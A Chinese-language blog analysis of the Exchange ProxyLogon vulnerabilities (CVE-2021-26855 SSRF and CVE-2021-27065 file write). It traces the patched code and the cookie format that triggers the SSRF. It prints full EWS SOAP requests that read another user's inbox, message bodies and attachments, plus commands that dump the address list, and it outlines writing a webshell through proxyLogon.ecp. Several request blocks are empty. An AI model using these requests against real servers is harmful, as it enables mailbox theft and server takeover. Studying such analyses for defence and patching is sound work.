CVE-2021–26855 & CVE-2021–27065(ProxyLogon)分析
CVE-2021–26855 & CVE-2021–27065(ProxyLogon)分析
3月初公布的4个Exchange 0day就像重磅炸弹一样,在安全圈子内引起了很大的动荡。毕竟作为内网安全领域的 ” 王牌嘉宾 ” ,Exchange永远都是最受关注的系统。这次一共公布了4个0day:
- CVE-2021–26855:SSRF
- CVE-2021-27065:任意文件写入
- CVE-2021-26857:认证后的反序列化
- CVE-2021-26858:任意文件写入
其中有些利用的利用链非常精彩,因此这篇文章也是来讨论一下其中一些攻击细节
概述
针对ProxyLogon,我个人的理解是,exchange提供给用户的请求接口,是通过https,也就是服务的443端口,而后端真正处理的这些接口,是在服务的444端口。因此本次的漏洞就是发生在https与后端针对机器本身的一个衔接的过程之中。
CVE-2021-26855
windows 针对该漏洞的日志的检测
1 |
|
对比修补补丁,发现命名空间 Microsoft.Exchange.FrontEndHttpProxy
中存在修改。
具体修改了 BEResourceRequestHandler 类
跟踪这个类,找到在 ProxyModule
类中的 SelectHandlerForUnauthenticatedRequest
方法调用了它
继续跟发现在 BEResourceRequestHandler.CanHandle() 方法中调用
这里做了两个判断:
使用 GetBEResouceCookie 方法检查cookie存在,返回 X-BEResource cookie值
IsResourceRequests 方法将检查请求的是不是静态资源。如果是的,会将cookie值传递到 ServerAnchorMailbox
类中,该类用以定位该邮箱地址。该cookie值通过**BackEndServer.FromString** 方法处理,作为后端服务器被请求。
可以看到使用 ~
分割cookie值,将 array[1]
转换为int并存为 version
,并将 array[0]
作为请求服务器
因此可以构造
1 |
|
发现返回的 BackEndServer 对象在 ProxyRequestsHandler 类中的 GetTargetBackEndServerUrl 方法中调用。可以看到通过 UriBuilder 类来拼接url,这是 .net 的原生类。
可以看到 UriBuilder.ToString 的构造方式,将解析用户信息、host、端口、路径、请求参数和路由。
UriBuilder 解析的例子如下:
1 |
|
因此当我们像构造路径请求后端的节点时(例如 /autodiscover/autodiscover.xml
)uribuilder不会将 ~1942062522 解析为路径,所以为了使得请求带有分割的参数,我们最终可以通过添加请求参数或者路由来拼接 ~1942062522。最终可构造如下。
1 |
|
当然为了能够进入到 BackendServer 的实现,我们需要确保开头的两个判断成立,换句话说需要保证请求的是静态资源。而由于这部分只是对转发协议的实现,并不涉及真实文件是否存在的判断。所以并不需要真实的路径存在。因此,仅请求 /ecp/x.js
就可以满足条件。
至此,CVE-2021-26855就诞生了。:-)
绕过验证获取邮件
通过kerberos绕过认证
/EWS/Exchange.asmx
是exchange提供的web service接口,允许通过远程soap请求,通过xml数据操作exchange服务,包括对邮箱的操作。
我们尝试通过SSRF漏洞去请求ews的接口,我先尝试更改了机器名
通过报错发现原来后端使用了 negotiate 认证,即是通过票据认证的。因此我们可以通过请求域内FQDN(机器名+域名)来使用本地票据通过认证。原理就类似白银票据,利用本地的机器hash来伪造任意用户。
果然当我们使用正确的机器名,我们就绕过了登录验证。
操作邮件
通过发送xml数据,利用ews接口可以直接操作邮箱服务,三好学生师傅已经有文章讲述如何通过xml操作ews接口
当然也可以直接通过微软的官方文档来学习
三好学生师傅的代码还需要少许修改,通过 <t:EmailAddress>admin@x.local</t:EmailAddress>
来指定邮箱名
以下摘自三好师傅的博客,并加入少许修改
查看数量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox"/>
<t:Mailbox>
<t:EmailAddress>admin@x.local</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>获得收件箱邮件信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013_SP1" />
</soap:Header>
<soap:Body>
<m:FindItem Traversal="Shallow">
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
<t:BodyType>Text</t:BodyType>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="2147483647" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id="inbox" />
<t:Mailbox>
<t:EmailAddress>admin@x.local</t:EmailAddress>
</t:Mailbox>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>通过返回内容可以获得收件箱所有邮件的标题、收发关系、是否带有附件等,但无法显示正文内容和附件名称
通过返回内容能够获得每个邮件对应的ItemId和ChangeKey,进而获得邮件内容、附件的名称和Id
获得邮件的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013_SP1" />
</soap:Header>
<soap:Body>
<m:GetItem>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
<t:BodyType>Text</t:BodyType>
</m:ItemShape>
<m:ItemIds>
<t:ItemId Id="{id}" ChangeKey="{key}" />
<t:Mailbox>
<t:EmailAddress>admin@x.local</t:EmailAddress>
</t:Mailbox>
</m:ItemIds>
</m:GetItem>
</soap:Body>
</soap:Envelope>获得邮件的附件名字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013_SP1" />
</soap:Header>
<soap:Body>
<m:GetItem>
<m:ItemShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:AdditionalProperties>
<t:FieldURI FieldURI="item:Attachments" />
</t:AdditionalProperties>
</m:ItemShape>
<m:ItemIds>
<t:ItemId Id="{id}" />
<t:Mailbox>
<t:EmailAddress>admin@x.local</t:EmailAddress>
</t:Mailbox>
</m:ItemIds>
</m:GetItem>
</soap:Body>
</soap:Envelope>返回附件的id、类型
获取附件内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013_SP1" />
</soap:Header>
<soap:Body>
<m:GetAttachment>
<m:AttachmentIds>
<t:AttachmentId Id="{id}" />
<t:Mailbox>
<t:EmailAddress>admin@x.local</t:EmailAddress>
</t:Mailbox>
</m:AttachmentIds>
</m:GetAttachment>
</soap:Body>
</soap:Envelope>返回的数据中,
<t:content>
标签内的数据为base64编码后的内容,解码后可获得附件的内容。这里要注意附件的类型,如果为text,表示文本类型,否则在保存附件时需要以二进制格式写入。
获取GAL
Exchange GlobalAddressList(全局地址列表)包含域内所有的邮件用户地址,获取他将对我们的渗透测试大有帮助,我们同样可以通过SSRF+xml来尝试导出GAL
之前的exchange利用中提到过,可以利用OAB来导出GAL,这是通过 /autodiscover/autodiscover.xml
接口来查询OAB地址的信息
通过发送以下xml数据获取OAB地址
1
2
3
4
5<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>administrator@x.local</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>这里会返回OABUrl,然后访问oaburl/oab.xml,会返回lzx文件地址
直接访问lzx文件地址可以获得该内容
使用 oabextract 工具可还原地址列表
1
2
3oabextract 4667c322-5c08-4cda-844a-253ff36b4a6a-data-5.lzx gal.oab
strings gal.oab|grep SMTPCVE-2021-27065
Windows提供的针对该漏洞的日志检测
1 |
|
下面是SSRF漏洞的又一个危险的利用,攻击者可以利用该漏洞在exchange服务器上任意位置写入文件。并且可以部分控制写入内容,这就提供了一个完成RCE的全部条件。
根据上述的检测方式,可以发现,该RCE利用了虚拟目录的功能。通过对比补丁,发现是Microsoft.Exchange.Management.ControlPanel.DIService
中 WriteFileActivity
类的变化。
很明显,改动后强制了文件后缀为 ‘txt’ ,这就说明,可以通过修改路径为 web目录 + .aspx 来写入webshell。
这里其实是邮箱管理员用户的一个功能,即修改存储oab虚拟目录设置的文件的位置。而这里并没有校验文件的后缀名与路径。
而通过虚拟目录设置中的 外部url
和 内部url
参数,可以达到在该文件中,写入任意内容。
虽然服务端对提交的url参数进行了url路径格式验证,但我们仍可以通过前面设置路由或者参数的方式,绕过该验证
1 |
|
仍然要绕过的认证
现在我们拥有了一个写入漏洞的攻击路径,只需要能绕过ecp端的认证即可成功操作虚拟目录,写入文件。
于是我们想到了之前拥有的SSRF漏洞。但是不幸的是,普通的ecp端口的访问时经过\owa\auth的认证,相当于走的web端的认证,并不是走的票据认证,于是简单的将请求relay到ecp接口是行不通的,仍会跳转到owa的登录页。于是问题变成了,能不能找到一个可以通过ecp认证的地方。
通过翻找日志,我们发现了这样的请求
我们发现了攻击者请求了ecp下的一个接口,叫做 /ecp/proxyLogon.ecp ,这一刻,我终于明白了这个漏洞名字的由来(哭了)
于是经过一波和大佬们的讨论已经网上的文章,终于理清了这个神秘的任意文件写入漏洞的完整利用。
在ecp目录下的web.config中定义了对proxyLogon.ecp的调用方式
后端将请求的参数进行序列化,并联合三个头部参数:msExchLogonAccount
、msExchLogonMailbox
、MsExchTargetMailbox
进行验证。
通过学习网上的歪果大师傅的文章,他构造出了可以通过验证的请求内容:
1 |
|
而那三个头部,通过代码里的表示,应该是标识邮箱的sid,其实当你在autodiscover端登录成功时,就会返回给你这个标识
然后服务端会给通过验证的请求,设置session。
我们成功获得了返回的sessionid和Canary!
然后就可以直接利用此凭据,去请求操作oad的接口,以下是修改filename的数据包
1 |
|
其中的oabid可以通过以下数据包获得
1 |
|
获得sid
而通过ecp的认证需要获得用户的sid,sid标识着域内的每一个用户,那要怎么获得他呢。通过之前的日志看到,攻击者回去请求 autodiscover 和 mapi 两个接口。根据网上师傅们的文章,得知:
通过对mapi接口请求,其报错中会返回sid
而请求的内容由之前请求的autodiscover返回数据中的
<LegacyDN>
标签内的数据组成。注:对mapi接口的请求,需要加上
1
2
3
4'X-Requesttype': 'Connect',
'X-Requestid': '{CD123DD3-2CD3-45G5-BF34-2345676543V5}:2',
'X-Clientapplication': 'Outlook/15.0.1473.1002',
'X-Clientinfo': '{2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}'这几个头部参数(id和info里面的内容应该是随机的,所以并不影响)
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!